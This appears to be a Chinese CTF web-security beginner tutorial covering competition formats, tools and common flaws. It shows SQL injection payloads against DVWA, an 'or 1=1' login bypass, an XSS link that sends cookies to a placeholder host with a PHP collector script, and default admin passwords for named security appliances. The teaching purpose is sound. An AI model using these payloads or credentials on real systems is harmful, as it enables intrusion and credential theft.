CTF·WEB入门之路

原创

Koko～ 于 2021-12-12 15:39:58 发布 2982 收藏 3

文章标签： 前端 web安全 安全

Hello~大家好，这里是KOKO师傅！

对于初学者来说，打CTF之路仿佛是摸石头过河，而今天这篇文章则是一篇“从入门到入土”级别的概括类文章。从这篇文章中你可以了解到CTF的一些基本知识、WEB方向的主要知识点、常见知识点……真正意义上的实现入门！

文章目录

CTF介绍

CTF是什么

CTF（Capture The Flag，夺旗赛）CTF 的前身是传统黑客之间的网络技术比拼游戏，起源于 1996 年第四届 DEFCON，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。

CTF是一种流行的信息安全竞赛形式，其英文名可直译为“夺得Flag”，也可意译为“夺旗赛”。其大致流程是，参赛团队之间通过进行攻防对抗、程序分析等形式，率先从主办方给出的比赛环境中得到一串具有`一定格式的字符串`或其他内容，并将其提交给主办方，从而夺得分数。为了方便称呼，我们把这样的内容称之为“Flag”。

一般情况下flag拥有固定格式为`flag{xxxxx}`，有些比赛会把flag关键词替换。

通常来说CTF是以团队为单位进行参赛。每个团队3-5人(具体根据主办方要求决定)，在整个比赛过程中既要每个选手拥有某个方向的漏洞挖掘能力，也要同队选手之间的相互配合。

CTF常见竞赛形式介绍

理论知识

理论题多见于国内比赛，通常为选择题。包含单选及多选，选手需要根据自己所学的相关理论知识进行作答。最终得出分数。理论部分通常多见于初赛或是初赛之前的海选。

Jeopardy-解题

参赛队伍可以通过互联网或者现场网络参与，参数队伍通过与在线环境交互或文件离线分析，解决网络安全技术挑战获取相应分值，类似于 ACM 编程竞赛、信息学奥林匹克赛，根据总分和时间来进行排名。

不同的是这个解题模式一般会设置 一血(First Blood) 、 二血(Second Blood) 、 三血(Third Blood) ，也即最先完成的前三支队伍会获得额外分值，所以这不仅是对首先解出题目的队伍的分值鼓励，也是一种团队能力的间接体现。

当然还有一种流行的计分规则是设置每道题目的初始分数后，根据该题的成功解答队伍数，来逐渐降低该题的分值，也就是说如果解答这道题的人数越多，那么这道题的分值就越低。最后会下降到一个保底分值后便不再下降。一般称之为`动态积分`。

题目类型主要包含`Web 网络攻防` 、 `RE 逆向工程` 、 `Pwn 二进制漏洞利用` 、 `Crypto 密码攻击`以及`Misc 安全杂项` 这五个类别，个别比赛会根据题目类型进行扩展。

AwD-攻防模式

Attack with Defense(AwD)全称攻防模式，在攻防模式CTF赛制中，参赛队伍连接到同一个网络空间。主办方会预先为每个参赛队分配要防守的主机，该主机称之为`GameBox`，每个队伍之间的GameBox`配置及漏洞是完全一致`的，选手需要防护自己的GameBox不被攻击的同时挖掘漏洞并攻击对手服务来得分。在AwD中主办方会运行一个名为`Checker`的程序定时检测选手的GameBox的运行状态。若检测到状态不对则判定该GameBox宕机，按照规则扣除一定分数。攻防模式CTF赛制可以实时通过得分反映出比赛情况，最终也以得分直接分出胜负，是一种竞争激烈，具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中，不仅仅是比参赛队员的智力和技术，也比体力（因为比赛一般都会持续24至48小时左右），同时也比团队之间的分工配合与合作。

AwD通常仅包含`Web`及`Pwn`两种类型的题目。每个队伍可能会分到多个GameBox，随着比赛的进行，最早的GameBox可能会下线，同时会上线新的GameBox。

Mix[混合]

混合模式结合了以上多种模式，现如今单一的赛制已经无法满足比赛及选手的参赛需求，所以大部分比赛会同时以多个模式进行比赛。例如参赛队伍通过解题(Jeopardy)可以获取一些初始分数，然后通过攻防对抗(AwD)进行得分增减的零和游戏，最终以得分高低分出胜负。

CTF题目类型

在CTF中主要包含以下5个大类的题目，有些比赛会根据自己的侧重点单独添加某个分类，例如`移动设备(Mobile)`，`电子取证(Forensics)`等，近年来也会出来混合类型的题目，例如在Web中存在一个二进制程序，需要选手先利用Web的漏洞获取到二进制程序，之后通过逆向或是Pwn等方式获得最终flag。

Web

Web类题目大部分情况下和网、Web、HTTP等相关技能有关。主要考察选手对于Web攻防的一些知识技巧。诸如`SQL注入`、`XSS`、`代码执行`、`代码审计`等等都是很常见的考点。一般情况下Web题目只会给出一个能够访问的URL。部分题目会给出附件。

Pwn

Pwn类题目重点考察选手对于`二进制漏洞的挖掘和利用`能力，其考点也通常在`堆栈溢出`、`格式化漏洞`、`UAF`、`Double Free`等常见二进制漏洞上。选手需要根据题目中给出的二进制可执行文件进行逆向分析，找出其中的漏洞并进行利用，编写对应的漏洞攻击脚本(`Exploit`)，进而对主办方给出的远程服务器进行攻击并获取flag。通常来说Pwn类题目给出的远程服务器信息为`nc IP_ADDRESS PORT`，例如`nc 1.2.3.4 4567`这种形式，表示在`1.2.3.4`这个IP的`4567`端口上运行了该题目。

Reverse

Re类题目考察选手逆向工程能力。题目会给出一个可执行二进制文件，有些时候也可能是Android的APK安装包。选手需要逆向给出的程序，分析其程序工作原理。最终根据程序行为等获得flag。

Crypto

Crypto类题目考察选手对密码学相关知识的了解程度，诸如RSA、AES、DES等都是密码学题目的常客。有些时候也会给出一个加密脚本和密文，根据加密流程逆推出明文。

Misc

Misc意为杂项，即不包含在以上分类的题目都会放到这个分类。题目会给出一个附件。选手下载该附件进行分析，最终得出flag

常见的题型有图片隐写、视频隐写、文档隐写、流量分析、协议分析、游戏、IoT相关等等。五花八门，种类繁多。

WEB前置技能

程序语言

程序语言是程序员入门必备技能。大家自行选择学习即可。目前主流的语言有：C、C++、Python、Java、HTML、PHP等等。

HTML/CSS

HTML的全称为超文本标记语言，是一种标记语言。它包括一系列标签。通过这些标签可以将网络上的文档格式统一，使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本，HTML命令可以说明文字，图形、动画、声音、表格、链接等。

层叠样式表(英文全称：Cascading Style Sheets)是一种用来表现HTML（标准通用标记语言的一个应用）或XML（标准通用标记语言的一个子集）等文件样式的计算机语言。CSS不仅可以静态地修饰网页，还可以配合各种脚本语言动态地对网页各元素进行格式化。

HTTP协议

超文本传输协议（Hyper Text Transfer Protocol，HTTP）是一个简单的请求-响应协议，它通常运行在TCP之上。它指定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。请求和响应消息的头以ASCII形式给出；而消息内容则具有一个类似MIME的格式。这个简单模型是早期Web成功的有功之臣，因为它使开发和部署非常地直截了当。

数据库

数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。

操作系统

操作系统（operating system，简称OS）是管理计算机硬件与软件资源的计算机程序。操作系统需要处理如管理与配置内存、决定系统资源供需的优先次序、控制输入设备与输出设备、操作网络与管理文件系统等基本事务。操作系统也提供一个让用户与系统交互的操作界面。

常用的操作系统有：Windows、Mac、Linux等等。

WEB基本工具配置

虚拟机

虚拟机（Virtual Machine）指通过`软件`模拟的具有完整`硬件`系统功能的、运行在一个完全`隔离`环境中的完整`计算机系统`。在实体计算机中能够完成的工作在虚拟机中都能够实现。在`计算机`中创建虚拟机时，需要将实体机的部分硬盘和内存容量作为虚拟机的硬盘和内存容量。每个虚拟机都有独立的`CMOS`、`硬盘`和`操作系统`，可以像使用实体机一样对虚拟机进行操作。

市面上主流的虚拟机是`VMware`的虚拟机，常安装的是`Kali`、`Ubuntu`等等。安装教程CSDN上也有很多，这里就不赘述了。

BurpSuite

Burp Suite 是用于攻击web 应用程序的`集成平台`，包含了许多工具。Burp Suite为这些工具设计了许多接口，以加快攻击应用程序的过程。所有工具都共享一个请求，并能处理对应的HTTP消息、持久性、认证、代理、日志、警报。

Chrome/firefox

浏览器在普通人手里只是加载网页的一种工具，但是对于hacker而言，选择一款顺手的浏览器并配置齐全各种插件后，它便能加快我们解题的速度。大家可以根据喜好选择。

WebShell

webshell就是以`asp`、`php`、`jsp`或者`cgi`等网页文件形式存在的一种代码执行环境，主要用于`网站管理`、`服务器管理`、`权限管理`等操作。使用方法简单，只需上传一个代码文件，通过网址访问，便可进行很多日常操作，极大地方便了使用者对网站和服务器的管理。正因如此，也有小部分人将代码修改后当作后门程序使用，以达到控制网站服务器的目的。

顾名思义，“web”的含义是显然需要服务器开放web服务，“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理，由于其便利性和功能强大，被特别修改后的webshell也被部分人当作网站后门工具使用。

菜刀类工具

中国菜刀是一款专业的网站管理软件，用途广泛，使用方便，小巧实用。只要支持`动态脚本`的网站，都可以用中国菜刀来进行管理！程序大小：214K，在非简体中文环境下使用，自动切换到英文界面。UINCODE方式编译，支持多国语言输入显示。

常见类型

信息泄露

目录遍历

在web功能设计中，很多时候我们会要`将需要访问的文件定义成变量`，从而让前端的功能变得更加灵活。当用户发起一个前端请求时，便会将请求的这个文件的值（比如文件名称）传递到后台，后台再执行其对应的文件。在这个过程中，如果后台没有对前端传进来的值进行严格的安全考虑，则攻击者可能会通过`“../”`这样的手段让后台打开或者执行一些其他的文件。从而导致后台服务器上其他目录的文件结果被遍历出来，形成目录遍历漏洞。

PHPINFO

PHPINFO函数信息泄露漏洞常发生一些默认的安装包，比如phpstudy等，默认安装完成后，没有及时删除这些提供环境测试的文件，比较常见的为`phpinfo.php`、`1.php`和`test.php`，虽然通过phpinfo获取的php环境以及变量等信息，但这些信息的泄露配合一些其他漏洞将有可能导致系统被渗透和提权。

备份文件下载

1. 当开发人员在线上环境中对`源代码`进行了备份操作，并且将备份文件放在了`web目录`下，就会引起网站源码泄露。
2. 当开发人员在线上环境中使用`vim编辑器`，在使用过程中会留下vim编辑器缓存，当vim异常退出时，缓存会一直留在服务器上，引起网站源码泄露。第一次产生的缓存文件后缀为.swp，后面会产生swo等。
3. `.DS_Store`是 Mac OS 保存文件夹的`自定义属性的隐藏文件`。通过 .DS_Store 可以知道这个目录里面所有文件的清单。

Git泄露

- 当前大量开发人员使用`git`进行`版本控制`，对站点`自动部署`。如果配置不当，可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
- 攻击者可以利用该漏洞下载git文件夹里的所有内容。如果文件夹内有敏感信息比如站点源码、数据库账户密码等，攻击者可能直接控制服务器。

SVN泄露

当开发人员使用`SVN`进行`版本控制`，对站点自动部署。如果配置不当，可能会将.svn文件夹直接部署到线上环境。这就引起了SVN泄露漏洞。

HG泄露

当开发人员使用`Mercurial`进行`版本控制`，对站点自动部署。如果配置不当，可能会将.hg文件夹直接部署到线上环境。这就引起了hg泄露漏洞。

密码口令

弱口令

通常认为容易`被别人猜测到`或`被破解工具破解`的口令均为弱口令。

常见破解：在网上下载好常用密码的字典，用burpsuite进行爆破，获得用户名和密码。

默认口令

可直接在百度上收到常见的网络安全设备默认密码，挨个试即可。

分享一些常见的网络安全设备默认密码：

> 设备/默认账号/默认密码
> 深信服产品/sangfor/sangfor
> 深信服VPN/Admin/Admin
> 深信服AC6.0/admin/admin
> 深信服WAC/admin/admin
> 网御漏洞扫描系统/leadsec/leadsec
> 联想网御/administrator/administrator
> 联想网御入侵检测系统/lenovo/default
> 网络卫士入侵检测系统/admin/talent

SQL注入

SQL注入攻击是通过将恶意的sql查询或添加语句插入到应用的输入参数中，再在后台sql服务器上解析执行进行的攻击，它是目前黑客对数据库进行攻击的最常用的手段之一。

访问动态网页时，Web服务器会向数据访问层发起sql查询请求，如果权限验证通过就会执行sql语句。
实际情况中，很多时候需要结合用户的输入数据动态构造sql语句，如果用户输入的数据被构造成恶意sql代码，web应用又未对动态构造的sql语句使用的参数进行审查，则会带来意想不到的危险。

猜解数据库

以DVWA渗透测试平台为例：

- 在URL中输入ID=1，点击`view source`查看源代码。可以看到实际执行的SQL语句是：`SELECT first_name, last_name FROM users WHERE user_id = '1';`
- 如果我们输入`1' order by 1#`，实际执行的SQL语句为

```
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法，#后面会被注释掉，使用这种方法屏蔽掉后面的单引号，避免语法错误)
```

这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。

> 接下来我们使用 `union select`联合查询继续获取信息：
> `union`运算符可以将两个或两个以上select语句的查询结果集合合并成一个结果集合显示，即`执行联合查询`。
> 需要注意，在使用union查询的时候需要和主查询的列数相同。
>
> 输入`1' union select database(),user()#`进行查询：
> `database()`将会返回当前网站所使用的数据库名字；
> `user()`将会返回执行当前查询的用户名。

通过返回信息，我们成功获取到：
当前网站使用数据库为dvwa.
当前执行查询用户名为root@localhost.

- 同理，我们再输入`1' union select version(),@@version_compile_os#`进行查询：
  `version()`获取当前数据库版本.
  `@@version_compile_os`获取当前操作系统.

通过返回信息，我们又成功获取到：
当前数据库版本为：5.6.31-0ubuntu0.15.10.1.
当前操作系统为：debian-linux-gnu.

- 接下来尝试获取dvwa数据库中的表名。`information_schema`是mysql自带的一张表，这张数据表保存了Mysql服务器所有数据库的信息，如数据库名，数据库的表，表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表，该表包含两个字段`table_name`和`table_schema`，分别记录DBMS中的存储的表名和表名所在的数据库。

我们输入`1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`进行查询：

通过上图返回信息，我们再获取到：
dvwa数据库有两个数据表，分别是guestbook和users。

验证绕过

我们使用实现编写好的页面——普通的登录页面，只要输入正确的用户名和密码就能登录成功。

我们尝试在用户名中输入`123' or 1=1 #`，密码同样输入`123' or 1=1 #`。显示登陆成功！因为实际执行的语句是：

```
select * from users where username='123' or 1=1 # ' and password='123' or 1=1 # '
```

按照Mysql语法，#后面的内容会被忽略，所以实际上密码框里不输入任何东西也一样。

由于判断语句`or 1=1`恒成立，所以结果当然返回真，成功登陆。

XSS

跨站脚本攻击（Cross Site Scripting），为了不和层叠样式表（Cascading Style Sheets,CSS）的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

反射型XSS

又称为非持久性XSS，这种攻击往往具有一次性。

攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户，当用户点击时，服务器接受该用户的请求并进行处理，然后把带有XSS的代码发送给用户。用户浏览器解析执行代码，触发XSS漏洞。

存储型XSS

又称为持久型XSS，攻击脚本存储在目标服务器的数据库中，具有更强的隐蔽性。

DOM型 XSS

全称为Document Object Model，使用DOM动态访问更新文档的内容、结构及样式。

服务器响应不会处理攻击者脚本，而是用户浏览器处理这个响应时，DOM对象就会处理XSS代码，触发XSS漏洞。

XSS基本应用

XSS盗取Cookie

存在反射型XSS漏洞的站点位置 可以利用以下链接来盗取Cookie：

```
url?name=<script>document.location=http://ip/cookie.php?cookie="+document.cookie:</script>
```

将连接发送到用户，用户点击即触发XSS漏洞。同时可以使用URL编码迷惑用户。

cookie.php代码：

```
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
```

XSS篡改网页链接

盗取用户信息

克隆网站登录页面，利用存储XSS设置跳转代码，如果用户访问即跳转到克隆网站的登录页面，用户输入登录，账号和密码被存储。

文件上传

主要是配合一些漏洞的利用，普遍意义上的文件上传是指将信息从个人计算机传送至中央计算机，也就是我们所说的远程计算机，对站点来说，就是传到运行网站的服务器上。

客户端校验——JavaScript

文件上传是文件从本地传输到远程服务器，中间经过三个步骤，在自己PC端本身做一个文件检测，或者文件传到后端服务器之后，在后端服务器上对文件做检测，简单的就是客户端校验JavaScript校验。文件是在网页做上传，所以JavaScript就会在你的浏览器上运行。

服务器端校验——后缀黑名单校验

黑名单校验就是不允许一些文件类型上传，和JS代码有点类似，JS是只允许一些文件可以上传。黑名单禁止的时候只能禁止一部分，会受限于开发者本身的知识量比如漏掉一些后缀名，导致一些可以突破的后缀名做解析。